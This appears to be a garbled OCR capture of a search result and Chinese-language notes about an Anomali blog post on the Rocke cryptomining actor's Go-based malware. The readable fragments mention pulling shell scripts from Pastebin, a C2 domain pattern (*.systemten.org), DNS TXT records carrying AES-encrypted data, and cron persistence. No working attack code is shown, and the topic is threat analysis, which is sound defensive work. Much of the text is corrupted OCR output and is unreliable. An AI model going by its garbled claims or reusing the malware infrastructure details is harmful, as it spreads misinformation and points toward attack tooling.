https://www.anomali.com > blog » illicit-cryptomining-threat-act... v EFILTR
20195104 15H - ... how the actor started to use a malware written in Go (Golang) to set up ...
(9) Killcpu Lines: 111 to 118 (7) File: c.go NewAesCipher128 Lines: ...
Anomali B9 Blog: Tllicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect
IR DARTAYRRZAS —4¥, LSDMiner AR RA Go RS, BEEAMRBEM UL EFINEELRIR
IRIRABRARESR. HENEREPEUT IR
IF T {E R Pastebin fF9E R Shell AR T RBE, ¥BMEMBCHIFR CC RS
*.systemten.org ) FERFEXERIEEN;
& T Z21MIRIE Exp, 1B5&1EHERES], 1£I0 Anomali A Blog;
M DNS TXT IR TR ZMEZT AES INZREIE, XLEMBEIEEUT/LM:
ERATBVER Cron {ESSAEIRYER Shell BIA T3, URL, AJLAE NKFEEHLAT Cron {£55
RAMAEERANRES, KEEN LEANEEFASSNIEE SRRASURERZS Update;
ERFTHIARE Shell RIS ;
— RIS B AR TR URL,
Ht BRI T ARRBEMNEQ DA EREMVIDTENR], MXT %A DNS TXT #ErZEES
fR723%2, Anomali B Blog FHER—HTME, FHIRiFR, REMA) Blog RERAER, FAENEE
LR, AU ERERNG], @B —TEETEREER—S — P REXLELHIE.,

